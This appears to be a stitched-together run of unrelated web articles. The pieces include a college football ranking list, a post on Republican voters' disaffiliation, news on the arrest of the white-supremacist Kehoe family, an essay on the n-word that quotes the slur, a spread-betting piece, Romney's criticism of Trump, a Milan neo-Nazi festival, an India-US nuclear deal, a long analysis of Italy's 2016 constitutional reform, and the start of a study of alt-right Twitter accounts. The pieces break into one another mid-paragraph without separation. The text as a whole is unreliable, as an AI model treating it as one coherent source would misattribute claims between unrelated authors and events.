Granted, Coastal Carolina only recently became an FBS team, but it still counts as the Blazers’ first win over an FBS opponent in 1,022 days. There’s perseverance, and there’s Bill Clark’s UAB tenure. #TheReturn
8. Oregon (def. Wyoming, 49-13)
Willie Taggart’s first season in Eugene was set up like a Learning How To Win Again checklist. Easy FCS confidence builder (77-21 over Southern Utah)? Check. Nearly blown lead against decent P5 opponent (42-35 over Nebraska)? Check. Strange, awkward road trip (49-13 over Wyoming)? Check. The Ducks rolled in Laramie, and while it’s becoming quite clear that too much was expected of the Cowboys this year, the simple act of handling your business can serve as fantastic proof of concept.
9. NC A&T (def. Charlotte, 35-31)
Rod Broadway’s Aggies scored their second FBS win in two seasons, this time without everybody’s new favorite Chicago Bear, Tarik Cohen. You’re damn right they’re going to make my list.
10. Wisconsin (def. BYU, 40-6)
Sure, it appears that even Provo High School could hold BYU under 20 points at this point. But the Badgers put up nearly 500 yards on what is still a pretty solid Cougar defense. The team with maybe the most direct path to the College Football Playoff sure appears interested in following that path.This week, The Frontier Lab published the results of months of research into why some Republicans are refusing to go by the label “Republican,” choosing to identify as anything but. I was the Research Director for this study, which applied a research approach called “Behavioral Event Modeling,” which essentially reverse engineers and maps all events that precede an individual’s disaffiliation.
In the spring of 2013 the Republican National Committee released a report, the “Growth and Opportunity Project,” providing an assessment of the state of their party that began by stating that it was “time for the Party to learn once again how to appeal to more people.”
What this report failed to do, and “Switching Behavior” seeks to address, is the generation of meaningful insights about how the Republican Party’s adherents are interacting with the brand as it stands. No matter what outreach the RNC recommends to various segmented groups, if they do not address the four insights revealed by “Switching Behavior,” their cause will be a hopeless one.
The results were fascinating; after combining the flowcharts from individuals who share conservative or moderate views and no longer will use the label “Republican” to describe themselves, we ascertained four core patterns that they had in common:
Rejection of the “Lesser of Two Evils” argument; Articulation of “Loss of Hope” in the GOP; Affiliation with a new community, and Incident of perceived betrayal by the GOP establishment.
What you don’t see here is that policy differences lead the way in disaffiliation. They’re there, to be sure, most prominently captured by those who lost hope after witnessing the GOP continually nominate candidates they perceived to be weak, too moderate, or too conservative. But patterns stemming from the realization that a “lesser of two evils” argument, put forth by the GOP to encourage support of a candidate, is no longer acceptable, is a strong indicator of future disaffiliation.
Here’s an example of how an individual disaffiliated from the Republican label (click to enlarge):
This individual began to question the Republican Party after having seen the candidate he supported attacked by members of the Republican establishment. At the same time, he felt “let down” after seeing Mitt Romney chosen as the 2012 nominee for President. Both of these preceding an event, the questioning of the GOP’s motives, which ultimately led to feelings of exclusion and the critical incident, disaffiliation. Concurrently, the event of affiliation with a new community, in this case the Tea Party, was identified as another path to disaffiliation.
Disaffiliation from the Republican label is not only, or even primarily, a matter of philosophical differences. Rather, the perception of former Republican adherents that their party has personally attacked them, continued to present choices as a “lesser of two evils,” select candidates and principles unpalatable to voters to the point where they retain “no hope,” and failed to provide the sense of community that other outlets like talk radio and the Tea Party provide, reveal that ideology takes a back burner to what is essentially a hollow brand for those disaffiliating.
There are two ways to use this research: 1, attempt to stem the disaffiliation — and this research suggests there are meaningful interventions stewards of the Republican brand could pursue. How simple for the RNC to, for example, revisit and halt any actions that publicly humiliate, discredit, or undermine candidates eagerly supported by various factions of their party. Guidelines to representatives of the party on cable news, for example, ought to include such caveats.
2, use these insights to encourage disaffiliation. Realize that the cultivation of community outside of the Republican Party has strongly influenced disaffiliation. The Frontier Lab put together a series of “interventions” pursuant to both applications available for download here.
Have you experienced any of these events in your “career” as a Republican? Vote in TFL’s facebook poll here.Two members of a notoriously violent, racist family are once again in federal custody following a raid at a remote Arizona ranch where federal agents found a large cache of weapons and ammunition.
Kirby K. Kehoe, 65, and his son, Cheyne C. Kehoe, 37 — who once shot it out with police in Ohio and, with his still-imprisoned older brother, plotted to create an all-white “Aryan Peoples Republic” — are being held without bond in Flagstaff on federal charges of being felons in possession of firearms and ammunition. Additional counts could be filed when the case is presented to a federal grand jury for indictment.
The pair was arrested Monday after federal agents with the Bureau of Alcohol, Tobacco, Firearms and Explosives, acting on a tip, executed a search warrant at a 40-acre ranch near Ash Fork, Ariz., about 140 miles north of Phoenix, said ATF spokesman Tom Mangan.
Agents arrested Kirby Kehoe on the property and later arrested Cheyne Kehoe in Prescott, court documents disclose. The arrests were carried out with extraordinary caution and prior surveillance “due to the violent nature of the family's past,” Mangan told the Arizona Republic.
In 1997, Cheyne and Chevie Keho were involved in two shootouts with police — caught on a police dash-cam videos — after a traffic stop in Wilmington, Ohio. The video was broadcast widely and repeatedly, leading to a nationwide manhunt for the Kehoe brothers, who were eventually arrested.
The ATF official said this week’s raid was conducted in cooperation with law enforcement from around the country and “planned to avoid the potential for a violent confrontation,” the newspaper reported.
Specific details weren’t released, but “dozens of weapons and thousands of rounds of ammunition were seized,” the Arizona newspaper reported.
Cheyne Kehoe currently is charged with possessing a Ruger.22-caliber rifle that he transported earlier this year from Montana to Arizona, charging documents say. Kirby Kehoe is charged with possessing a Glock 9mm pistol that was found on a desk next to a bed in a trailer where he lived.
“The reason and rationale for having executed the warrant on the property in that manner was driven by public safety, just based on the past history of this individual and the sons,” Mangan said. He did not immediately return a phone call from Hatewatch.
Chevie Kehoe is serving a life sentence in federal prison for his role in the 1996 torture-murders of an Arkansas gun dealer, his wife and her 8-year-old daughter, carried out during a robbery of the dealer’s weapons. The robbery, authorities said, was meant to help finance a plot to overthrow the federal government and establish an Aryan Peoples Republic in the Pacific Northwest.
Some of the stolen guns were sold by the Kehoes to other white supremacists, including members of the Aryan Republican Army, a domestic terrorist group that carried out 22 bank robberies in the Midwest in the 1990s.
The Kehoes have lived in northeastern Washington, northwestern Montana, Arkansas and Arizona, and have long-established ties with the Christian Identity religion that teaches white people are the true children of God, black people are soulless animals, and Jews are the biological descendants of Satan.
While attending a Christian Identity church as youngsters living in Stevens County in Washington state, Chevie and Cheyne Kehoe became childhood friends of Israel Keyes, who later became a serial killer whose string of murders are still being investigated by the FBI following his jail cell suicide last year in Alaska.
Cheyne Kehoe was originally sentenced to 24 years in prison for his role in the Wilmington shooting. No police officers were shot, but a bystander was wounded. His sentence later was reduced to 11 years, leading to his release in 2008.
In Ohio, Clinton County Sheriff Ralph Fizer Jr. was chief deputy at the time of the shootouts, which led to the nationwide manhunt for the Kehoes. The sheriff was quoted in today’s editions of the Wilmington News Journal saying that he was aware that Cheyne Kehoe's prison term had been reduced.
"We figured he'd be out again and in trouble,” the sheriff told the newspaper. “No one here wanted his sentence reduced. We weren't very happy when we heard the sentence had been reduced.”
In 1999, Kirby Kehoe was convicted in the Eastern District of Washington and sentenced to 51 months in prison for possessing firearms stolen by his sons and transportation of firearms while under indictment. When he was arrested in March 1997 north of Spokane, federal agents found two live hand grenades and a machine gun in a camper trailer he shared at the time with his wife and six other sons.
Neither Kirby nor Cheyne Kehoe can legally possess firearms because they have prior federal convictions.MY father’s name is William Paul Coates. I, like my six brothers and sisters, have always addressed him as Dad. Strangers often call him Mr. Coates. His friends call him Paul. If a stranger or one of my father’s friends called him Dad, my father might have a conversation. When I was a child, relatives of my paternal grandmother would call my father Billy. Were I to ever call my father Billy, we would probably have a different conversation.
I have never called my father Billy. I understand, like most people, that words take on meaning within a context. It might be true that you refer to your spouse as Baby. But were I to take this as license to do the same, you would most likely protest. Right names depend on right relationships, a fact so basic to human speech that without it, human language might well collapse. But as with so much of what we take as human, we seem to be in need of an African-American exception.
Three weeks ago the Miami Dolphins guard Richie Incognito, who is white, was reported to have addressed his fellow Dolphin as a “half-nigger.” About a week later, after being ejected from a game, the Los Angeles Clippers forward Matt Barnes, who is black, tweeted that he was “done standing up for these niggas” after being ejected for defending his teammate. This came after the Philadelphia Eagles wide receiver Riley Cooper, who is white, angrily called a black security guard a “nigger” in July.
What followed was a fairly regular ritual debate over who gets to say “nigger” and who does not. On his popular show “Pardon the Interruption,” Tony Kornheiser called on the commissioners of the National Football League, the National Basketball Association and Major League Baseball to ban their players from publicly using the word. The ESPN host Skip Bayless went further, calling “nigger” “the most despicable word in the English language — verbal evil” and wishing that it could “die the death it deserves.”In a world where speed of response can be the difference between making profits or losses it was never going to be long before the migration of spread betting tools from PCs to mobiles, via all stops in between, became the norm.
Today’s spread better wants to be able to watch the marker continuously, be fed with analysis and forecast and to take or dispose of positions there and then. Of course, the spread betting providers have responded admirably and there are a raft of offers out there, all of which are starting to become cheaper to use.
Ultimately this is likely to lead to a general increase in the total volume of activity in the market which will, in itself, provide a more dynamic opportunity for spread betters. Indeed, it is quite feasible that within the next few years, particularly if smart phone technology continues to increase in speed, reliability and security, a growing proportion of all stock market trading will be via mobile devices.
Potentially, this technology could open the financial markets to a whole new breed of players; people who have full time jobs but who keep an extra line of activity going surreptitiously on their smart phone throughout the trading day. Once again, any increase in overall volume of activity creates the opportunities for spread betters so these could be very welcome developments.
Most spread betting companies, such as IG can now give the technology that was available on PC as an app for the smart phone. Standard issue tends now to be full screen charting with position/ order/ alarm functionality, multiple indicators charted at the same time and interfaces supporting multiple views. Some of the platforms are now also offering tap, swipe and zoom connectivity as well as the stops, limits and parent & contingent order functions. They can also, of course, provide live news streams to give that responsiveness that is what the excitement is all about.
In 1987 when the trading floors were taken over by the digital workspace, who would have thought that just twenty or so years later, those PCs have become redundant and the global financial markets would be run from tiny phones? As to what lies ahead in the future; it would be a brave investor or spread better who would lay their bets today.
Image creditMitt Romney, the former Republican presidential candidate, has condemned Donald Trump for setting a dangerous example for Americans by promoting "trickle-down racism".
Speaking in Utah at his annual business and politics summit on Saturday, Romney said the Republican party must look beyond this presidential election to find its future.
Firing back, Trump went on Twitter to note how Romney "choked like a dog" when he lost to then-incumbent President Barack Obama in 2012 and repeated it at his campaign stops.
Some other senior Republicans have also criticised Trump in recent weeks for attacking US District Judge Gonzalo Curiel, a Mexican-American judge presiding over a case against him.
READ MORE: Should Trump worry about a third party candidate?
"Presidents have an impact on the nature of our nation, and trickle-down racism, trickle-down bigotry and trickle-down misogyny - all these things are extraordinarily dangerous to the heart and character of America," Romney said in Utah.
He said he expected Trump to get the Republican nomination, but added that he would not vote for either Trump or Clinton.
Romney left open the possibility of casting a ballot for the Libertarian Party candidate, Gary Johnson, a former New Mexico governor.
On Tuesday Paul Ryan, the top elected US Republican and Speaker of the House of Representatives, criticised Trump's remarks on the judge for what he called a "textbook definition of a racist comment".
Unlike Romney, Ryan has endorsed Trump as the Republican nominee.
Ohio Governor John Kasich, who was a nominee for Republican candidacy earlier in the year, said on Thursday that he still was not ready to endorse Trump.
"Why would I feel compelled to support someone whose positions I kind of fundamentally disagree with?" he told Fox News.
As the presumptive nominee, Trump now has to balance maintaining the outsider style that helped propel him to the nomination, while courting Republican insiders, who could be critical to financing a general election campaign against a well-funded Clinton.
Calming concerns
On Friday, at a Christian evangelical conference, Trump offered a message of ethnic harmony as he sought to calm concerns about his criticism of the Mexican-American judge.
In a departure from his usual freewheeling style, Trump read a carefully scripted speech from a teleprompter as part of a new push by his campaign to tone down his harsh rhetoric.
READ MORE: Can Hillary Clinton beat Donald Trump?
Trump did not mention the controversy over his charge that Curiel is unable to treat him fairly because of his Mexican heritage.
Trump also said he would represent all Americans if elected president on November 8.
"Freedom of any kind means no one should be judged by their race or their colour and the tone of his hue," Trump said.A white supremacist festival in Milan has attracted neo-Nazi bands and right-wing extremists from across Europe including Domenico Bosa, aka Mimmo Hammer, who has been linked to an investigation into the Calabrian 'Ndrangheta mafia.
Mimmo Hammer was seen at Hammerfest 2014, a white supremacist music festival organised by the international Hammerskin Nation network.
Milan prosecutors have unveiled a wiretapped conversation in which Mimmo Hammer was allegedly giving advice to a Montenegro drug lord, Milutin Todorovic, on how to deal with a powerful 'Ndrangheta boss based near Milan: Giuseppe Flachi, aka Pepe.
In the recording, Todorovic says he wants retaliation after Flachi missed payment for a drug shipment. But Mimmo Hammer suggests that he avoid war and "let other people fight so you can progress".
The level of infiltration of 'Ndrangheta mafia in northern Italy is so high that some experts such as Marcello Ravveduto, a researcher with Salerno University, compare it to a "colonisation attempt".
From the mountains of southern Italy, the 'Ndrangheta mafia has become Europe's heavyweight drug cartel, establishing ties with the drug barons in South America and spreading their wings of influence to northern Italy.
In November, a mafia initiation rites video made the headlines as it showed for the first time new members of the Calabrian mafia taking a mafia oath in front of a hidden camera.
The apparently ground-breaking footage was recorded by Carabinieri police and included the ritual known as the Santa (Holy) bestowal, in which initiates swear allegiance "in the silence of the night and under the light of the stars".
However, Ravveduto told IBTimes UK that according to his research, no mafia organisation pledges allegiance this way. "It's a total invention," he said. "Mafia knows how to use mass communication. The oath is diverting public opinion's attention from real issues.
"They're not using traditional elements. They would've never used La Marmora, for instance, in a real oath."
Against all the glamour, the real mafia oath is the bonds between family members, Ravveduto says.
"That's what it makes 'Ndrangheta the strongest of the three mafias and difficult to beat," he said.
Hammerfest attracted criticism from the Jewish community for its showing of Nazi symbolism. An appeal by Milan Jewish community had called on "democratic forces, institutions and authorities" to "intervene in order to impede" the event. Milan Mayor Giuliano Pisapia called the rally "unacceptable".India and US have signed an agreement on reprocessing of American nuclear spent fuel by India, marking the final steps in terms of implementation of the landmark civil nuclear deal between the two countries.
Upon entry into force, the arrangements and procedures will enable reprocessing by India of the US obligated nuclear material at a new national reprocessing facility to be established by India, dedicated to the reprocessing of safeguarded nuclear material under International Atomic Energy Agency safeguards.
The agreement in this regard was signed on Friday by US Under Secretary of State for Political Affairs Bill Burns and Indian Ambassador to the US Meera Shankar, at the Foggy Bottom headquarters of the State Department.
"This arrangement, negotiated and concluded under President Obama, reflects the Administration's strong commitment to building successfully on the landmark US-India Civil Nuclear Cooperation Initiative and is a prerequisite for US nuclear fuel suppliers to conduct business with India," the State Department said in a statement.
The Indian Embassy said signing of the Agreement is a significant step which highlights the strong relationship and growing cooperation between the two countries.
It enables reprocessing by India of US-obligated nuclear material under IAEA safeguards and will facilitate participation by US firms in India's rapidly expanding civil nuclear energy sector, the statement said.
"With this we have taken another significant step forward in the implementation of our bilateral agreement for cooperation in peaceful uses of nuclear energy," Shankar said in her remarks on the occasion.
The hard and meticulous work done by the Indian and US negotiators that led to the completion of negotiations, well ahead of the stipulated period of one year, Shankar said reflects how the two countries are increasingly getting into the habit of working together.
The signing of this Agreement on Saturday, and a few days back, of the Counter-terrorism Cooperation initiative in New Delhi, is a reflection of deepening ties between India and the United States, Shankar said.
... contd.
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advertised rationale for the whole reform – is that the new senators will not receive a salary (they already receive one as councillors and mayors). This is a sop to populist calls for ‘reducing the cost of politics’, which could easily backfire.
There are three specific reasons for this risk, besides the more general one indicated above. First, these 95 senators will be part-time ones, as they will serve also as councillors or mayors, which has raised well-founded perplexities. Second, regional councillors are perhaps the least trusted segment of Italy’s political class, and tend to be perceived as more corrupt and less competent than national politicians. Third, they will enjoy parliamentary immunity, which was a wholly unnecessary and very unpopular choice. Should one of them invoke this immunity in a blatant corruption case, in the eyes of public opinion the whole edifice of the reform might crumble.
Some preliminary conclusions
To sum up, the core of the reform is unnecessary, is irrelevant to Italy’s main problems, and risks lowering the nation’s confidence in the political institutions and raising popular discontent.
As to the rest of the reform, some revisions are certainly useful, such as the abolition of an unnecessary advisory body called CNEL (National Council of Economy and Labour). In other cases, reasonable people may disagree. The reduction of the regions’ powers might be excessive, for instance, and will not necessarily bring greater fiscal responsibility, which often is the main problem. The changes to the regulation of popular referendums are equally ambivalent, for they make it more difficult to call them (more signatures are needed), but lower the quorum for the validity of the result, which caused many referendums to fail. The different legislative procedures established by the reform may entail conflicts between the Chamber of Deputies and the Senate, as we said, and lead to litigation before the Constitutional Court.
To assess it properly, however, the reform must be viewed together with the new law, adopted in 2015, that determines how the henceforth dominant Chamber of Deputies will be elected. The two must be viewed together because, as we said, they were presented by the governing majority as two parts of one and the same package of institutional reforms, as well as because the new electoral law does not apply to the Senate. Should the voters reject the constitutional reform, therefore, they would de facto force a revision of this law too.
The electoral law that accompanies the constitutional reform
The new electoral law is very idiosyncratic and quite complicated. It uses a proportional-representation system, in short, but corrects it by awarding a bonus of seats to the party list that obtains more votes. The bonus is awarded either right away, if the winning list receives more than 40 per cent of the votes cast, or after a (national) run-off vote between the two most voted lists.
The bonus is not a fixed quantity of seats, but grants to the winning list 340 seats, almost 55 per cent of the Chamber. In Italy’s republican history no party has ever come close to 50 per cent of the popular vote, and only on two occasions have they exceeded the 40 per cent threshold in national elections (1948 and 1953). This bonus will therefore transform the largest electoral minority into a parliamentary majority. In the current situation, moreover, the bonus is likely to be very large.
Before we explain why, it may be useful to point out that no electoral system in the world uses a mechanism of this kind. Only Greece’s law awards a bonus, but under more restrictive conditions. The closest precedent is the (unconstitutional) law imposed by Berlusconi in 2005: it contemplated exactly the same bonus, but no run-off vote.
The current set-up of Italian politics is roughly tri-polar, according to the results of the most recent elections and the opinion polls of the last year or so. The PD and the Five Star Movement both hover between 27 and 32 per cent. The centre-right, which used to be relatively united under Berlusconi, is split into three or four parties, which together could represent another 30 per cent. They seem inclined to re-group, but the largest formation (the Northern League: around 10 per cent) might choose to compete alone.
The rest of the political spectrum is occupied by much smaller formations. In this setting, the new electoral law is likely to produce the following results. The PD, the Five Star Movement, and a probable centre-right grouping (with or without the Northern League) will compete to participate in the run-off. None will gain much more than 30 per cent of the vote. The winner of the run-off will obtain 55 per cent of the seats, nearly doubling its parliamentary representation. The other lists, representing some 70 per cent of the voters, will share the remaining 45 per cent.
Once the bonus is assigned, the Chamber’s 630 seats are allocated through a combination of the closed-list system and the open-list one. The law divides Italy into 100 constituencies, each of which will elect six and sometimes seven deputies. In each constituency, the first candidate of each of the lists that has obtained enough votes will automatically win a seat: in a six-seat constituency, therefore, the automatically elected deputies are often likely to be four (the first candidate of the winning list, and the first candidates of three other lists).
If a list obtains more than one seat, the second, third, and sometimes fourth seat are allocated according to the preferences expressed by voters (they can indicate one or two names: in the latter case, admirably, the law requires voters to choose candidates of different gender): de facto, this will apply only to the winning list, which will always win three seats in each constituency, and sometimes four. So, a majority of the Chamber’s deputies – probably around 60 per cent (up to 66, if the Northern League runs alone and becomes a fourth large list) – will be directly chosen by the political parties. Only a minority will be truly chosen by voters.
Both the bonus and this method for selecting deputies visibly distort parliamentary representation. For these and other reasons, this law too has been challenged before the constitutional court (which is expected to issue its decision shortly after the referendum), and many voices have called on parliament to revise it. In mid-September, this pressure led the same majority that has elaborated this law to pass a parliamentary motion declaring its readiness to revisit it. Yet how, when, and whether this law will actually be amended remains unclear.
The combined effects: unbalanced distribution of power and a loss of flexibility
Viewed together, the constitutional reform and the existing electoral law will grant to the winning list an impregnable majority in the dominant chamber, which will typically guarantee legislature-long (five-year) governments. Indeed, the overall aim of this package of institutional reforms was to ensure stability of government and strengthen the executive’s capacity to implement a programme for the full duration of the parliamentary term.
The aim is commendable, of course, but the manner in which the two reforms pursue it has serious drawbacks. The effect on the stability of the executive is akin to that assured by the US-style of presidential government and by the Westminster-style parliamentary form of government. Compared to both, however, the idiosyncratic model created by Italy’s reforms appears markedly suboptimal.
Compared to the Westminster model, in the Italian one the parliamentary majority will not be the result of hundreds of first-past-the-post electoral competitions, but of one single nation-wide run-off vote, dominated by the (officially declared) candidates to the post of prime minister. Such an electoral system, much closer to the presidential system, lacks the flexibility of the Westminster model, therefore, which allows prime ministers to be replaced if between elections they lose the confidence of the nation. Indeed, having to face a first-past-the-post election in single-member constituencies, MPs tend to have a strong incentive to enforce the political accountability of – and, in extremity, turn against – a prime minister and party leader who proves inadequate or strays too far from the electoral manifesto.
In the Italian model, the prime minister will be far harder to replace, and therefore less politically accountable, for two obvious reasons. First, because he or she will have won that office in what is, in effect, a direct popular vote on the prime ministerial candidates (the national run-off). Second, because as party leader he or she controls the formation of the party list at the next election, and can therefore determine, or at least heavily influence, the re-election prospects of the party’s deputies (especially if they have reason to fear losing the run-off vote). The parliamentary majority and the governing party are therefore unlikely to be able to hold their leader to account.
Compared to the presidential system, conversely, the Italian model lacks its tight separation between legislative and executive power. Unlike in the ‘divided government’ model exemplified by the United States, in fact, Italy’s reforms will generate a very tight nexus between the executive and the parliamentary majority supporting it (which is typical of the Westminster model), because both will be dominated by the same political party and by its leader.
It is true that other checks and balances will remain, such as an independent judiciary and the Constitutional Court (incidentally, we disagree with the argument that these reforms expose Italy to the risk of an authoritarian turn). Yet the reciprocal autonomy of the legislative and executive power is not just a critical component of the checks-and-balances system, to counterbalance the executive’s dominance and hold it politically accountable, but also a necessary condition for a healthy dialectic to develop between the two powers, which is generally viewed as favouring good and responsive government.
The Italian model, in short, combines the worst of both worlds. It produces a legislature-long mandate to rule, shorn of any real political constraint, and grants it to one person, in effect, the leader of the winning party. This ensures neither the flexibility of the Westminster model, nor the dialectic of the US one. Put simply, between elections the Italian model allows for only a very weak degree of political accountability.
Philosopher kings aside, lower political accountability is generally associated with less responsive government. According to the World Bank’s Worldwide Governance Indicators and a wealth of anecdotal evidence, political accountability is already low in Italy, compared to most mature democracies. It does not seem advisable to lower it further.
The combined effects: unpredictability and the further personalisation of politics
That mandate will be granted through an electoral system that, in Italy’s current tri-polar setting, is very unpredictable. The selection of who will govern the country for five years will be up to slightly more than a handful of votes. Such unpredictability is generally undesirable. Considering the probable size of the majority bonus (about 25 per cent of the seats), it could also be destabilising.
It is true that in all single-member constituency systems – the first-past-the-post one and the French two-round model – each electoral competition can equally turn on very few votes. And it is also true that, at the national level, they can produce rather large distortions relative to the nation’s political preferences. Yet having five or six hundred separate competitive elections is radically different from having one nation-wide Russian roulette. This will harm the legitimacy of the election results and potentially produce other undesirable consequences (discussed in the next section).
In electoral systems relying on single-member constituencies, moreover, the quality of candidates counts, as well as their direct accountability to their constituents and the political parties’ mobilisation and grassroots capacity (all factors that attenuate and compensate the distortion). In the Italian model, conversely, the national run-off will be determined more by the personal qualities of the prime ministerial candidates and by the stance of the mass media (which are not particularly independent in Italy: Freedom House judges them as only ‘partly free’, unlike those of all other EU member states bar Croatia). This will further increase the already acute personalisation and mediatisation of politics, which are generally not recipes for good government.
The combined effects: The Italian context
This model, finally, must be set against the context we outlined earlier, that is, the very low trust that political parties and political authorities elicit among Italy’s electorate. And it must be viewed together with the choice of abandoning the direct popular election of the Senate.
In sum, these institutional reforms reveal an essentially defensive strategy. Instead of opening itself to greater accountability, to regain the nation’s confidence, Italy’s political class seems to have opted for retrenching inside the institutions, to insulate itself from the pressures and demands of society: it chose to distort the nation’s electoral preferences, so as to assure itself the protection of a safe majority, and now it wants to close one of the main windows through which the voters’ voice can reach it, namely the election of the Senate.
With these reforms, the parliament might increasingly resemble a fortress, whose gates open only once in five years. In effect, the governing parties are proposing this to the electorate: ‘Give one of us the mandate to rule for five years, during which a few people will take all main decisions, and you will evaluate the results.’ Results, however, that will be assessed in another highly personalised and mediatised electoral campaign, which will lead to yet another five-year mandate.
The declared aim of this strategy is well meaning, of course, and we accept it as genuine. But the strategy is retrograde and unlikely to work. It is likely neither to regain the confidence of the nation, for trust tends to go together with accountability, nor to deliver better and more responsive government, which benefits from exposure to society’s pressures and ideas.
By reason of the distortion produced by the majority bonus, moreover, the country will be ruled by a party that represents a rather small minority, that is, some 30 per cent of the 75 per cent of Italian voters that nowadays go to the polls. The rest of the electorate may well come to the view that this artificial parliamentary majority is illegitimate, with damaging consequences.
It is well established that to govern a country – especially a large and complex one, whose economy essentially stopped growing two decades ago – an arithmetical majority in parliament is not sufficient. Without a measure of solid consensus in the electorate, governments tend to face serious difficulties in implementing their programmes and persuading society to respond positively to the reforms they enact.
In fact, this strategy is predicated on the assumption that Italy’s future governments will gain the consensus they need through their good deeds. Neither recent Italian history nor the broader European context suggest much optimism, however, particularly when the forces of populism and discontent are likely to remain strong in the medium term. Should the governments produced by these reforms disappoint, the popular backlash could be serious.
Conclusions, on both reforms
Drawing on all of these elements, we can present a cost-benefit analysis with regard to the proposed reforms. The only real benefit is that future governments are likely to last for five years. For the rest, as we saw, the core of the constitutional reform is neither necessary nor useful. Yet the capacity of future governments to use their mandate effectively depends on variables other than those controlled by the two reforms, and it is precisely in these variables that we have identified those risks. So the benefit is elusive, and might well turn into a cost.
The main cost of the reforms is that the political accountability of these governments will be even lower than it is today. This cost is far less elusive, because it is uncertain only in the measure of its effects, for we know that lower accountability typically leads to less responsive government. Less responsive government could lead to lower trust, in turn, and therefore also diminished capacity to govern, in a potential self-reinforcing circle. Hence the risks mentioned above.
Should they materialise, the card of overcoming the crisis of confidence through further institutional reforms would largely have been spoilt. For a political class cannot spend years telling its electorate that reforming the institutions will solve the country’s problems, and expect to be believed when, one major reform having failed, a second one is proposed.
So, ratifying this reform entails also an opportunity cost. Its supporters use a similar argument, in the opposite sense: they argue that if the referendum fails, it will for long be impossible to reform the institutions. This prediction is unfounded (as we explain in the next section). In contrast, our version of the opportunity-cost argument has a rather obvious basis: if the reform is ratified but does not work, the discredit will extend to the very idea of making institutional reforms.
It follows that before this reform is put to the test it ought to be compared with the reasonably available alternatives. At least four well-tested superior models exist, which ensure comparatively stable and accountable government. These are the US and the Westminster models, already mentioned, and the French and German ones (the latter two seem better suited to Italy’s party system, which is unlikely to become bipolar, and the German model seems also relatively easy to adopt). So all things considered, it would seem imprudent for Italians to ratify these reforms.
The short-term risks: why rejecting the reforms will not lead to instability
There is a second argument often made for the reforms, which turns on the immediate consequences of a negative vote. The basis for this reasoning is the fact that as soon as the referendum was called, Matteo Renzi staked his government’s survival and his own political career on it. This has led to fears that should Renzi lose the vote and resign, early elections might have to be called and the Five Star Movement could win them. The Movement has no governmental experience and has made a case for a referendum on the euro. Pressure on Italy’s huge debt could rise, therefore, threatening the survival of both the euro and the EU.
The sequence may look plausible, but the trigger is entirely avoidable. Renzi effectively sought to turn the referendum into a plebiscite on himself. This, he has belatedly recognised, was inappropriate. More recently, he has adamantly refused to link the government’s survival to the outcome of the vote. And although a popular rejection of the reform would nonetheless be a political defeat for Renzi and his government, they would have no political or constitutional obligation to resign.
Should they do so, a transition phase would follow, to which Italy’s institutions, public opinion, and foreign partners are well accustomed because the country has had on average one such crisis per year since World War II. The President of the Republic would appoint a fresh prime minister, and the institutional duty of all players – including Renzi, as outgoing premier and leader of the PD – would be to favour the rapid formation of the new executive and an orderly succession. Assuming a minimum degree of rationality in the relevant players, without which that sequence would have already started, there will be no prolonged political instability but just a short transition phase.
What next after a negative vote? Are ambitious reforms possible?
These institutional reforms are a missed opportunity. But they are not the last opportunity, as their supporters assert. They are ill conceived because they are the product of an ideological, acrimonious, and constrained parliamentary debate, often distant from the most plausible analyses of Italy’s problems. Yet the debate seems to have strengthened the already wide consensus that Italy’s institutions ought to be reformed. The rejection of these reforms would hardly amount to a defeat of the reformist ideas, therefore.
The process of designing fresh, better constitutional and electoral reforms could begin in earnest, and would not start from scratch. Outside of parliament, in fact, the debate has stimulated valuable analyses of Italy’s institutional problems and their possible solutions. And the referendum campaign is exposing all players – politicians, commentators, public opinion – to a wealth of arguments, which will remain available after the vote. The parliamentary process for designing better reforms could proceed rapidly, therefore, and is likely to be sustained by more reasoned and inclusive debate – because parliament will have a far stronger incentive to listen to public opinion – and therefore also wider consensus.
Whether the current government remains in office or not, moreover, a negative vote may well also provide impetus to Italy’s programme of structural reforms, as a response to the parliamentary majority’s defeat. For instance, one reason why corruption is so widespread in Italy is that it is rarely punished, even when it is detected. And the main reason for impunity, as several analyses attest, is the disproportionately short time limit within which a final conviction must be issued: when the time limit is passed, the crime is no longer punishable.
This problem is one legacy of a Berlusconi government’s law of the early 2000s, which halved the previously applicable time limit without any plausible justification. To return to the arguments discussed above, this measure and parliament’s decade-long failure to reverse it, despite repeated pledges to do so, are both clear signs of low political accountability.
In 2013, when the current legislature began, members of the PD proposed a bill that extends the time limit considerably. The bill was endorsed by the PD-led coalition government, but has proceeded very slowly. Not by reason of the bicameral procedure, but due to a lack of political will. The bill is opposed by a junior partner of the governing coalition, in fact, a splinter of Berlusconi’s erstwhile centre-right party. The government has also employed the confidence vote to have the new electoral law passed in the text it desired, which was highly unusual and very controversial. Perplexingly, however, neither the government nor the PD have spent much political capital on this bill.
Yet it is hard to imagine an easier, more useful, and more popular ‘structural’ reform than this one, which removes a wholly unjustified guarantee of impunity for corruption with a stroke of the pen. This would be an apt response to a negative (or, indeed, a positive) vote in the referendum, and create momentum and popular goodwill for further structural reforms and better institutional ones. There will be life, even a better life, not a deluge, after the defeat of these reforms.
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Note: This article gives the views of the authors, and not the position of EUROPP – European Politics and Policy, nor of the London School of Economics. Featured image: Sala del Tricolore, Reggio Emilia, Italy. Credits: Sailko CC BY 2.5.
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About the authors
Gianfranco Pasquino – University of Bologna
Gianfranco Pasquino is Emeritus Professor of political science at the University of Bologna and member of the Accademia dei Lincei. He has published a number of books on Italian politics and is co-editor of the Oxford Handbook of Italian Politics. He tweets @GP_ArieteRosso
Andrea Lorenzo Capussela
Andrea Lorenzo Capussela is writing a book on the political economy of Italy’s decline for Oxford University Press, and is the author of a book on the political economy of the international intervention in Kosovo (State-Building in Kosovo: Democracy, EU Interests and US Influence in the Balkans. London: I.B. Tauris, 2015). He tweets @AndreaCapusselaMeasuring the Alt-Right’s Radicalization
Disturbingly, the social media activity of these hate groups suggests that the threat of violence is increasing. White nationalists’ online presence continues to grow, and after surveying a network of over 27,000 Nazi apologists, KKK members, and separatists, it’s clear that these groups are becoming measurably more radicalized every month.
Even though they typically hide their real identities behind the anonymity afforded by social media, alt-right Twitter users nevertheless clearly communicate their political affiliations. Using machine-learning algorithms to interpret the language in Twitter profile descriptions, and computer vision algorithms to identify pro-Nazi symbols in profile avatars, my colleagues at New Knowledge and I identified over 3,500 radical extremists amongst the larger network of 27,000 accounts that are associated with the alt-right.
Many hundreds of users display the swastika, while others choose alternative symbols associated with hate groups, such as the Celtic cross, Iron cross, and insignia of the Nazi paramilitary group, Schutzstaffel, also known as the SS.
Swastikas dedicated by our computer vision algorithm, discovered in the alt-right network on Twitter
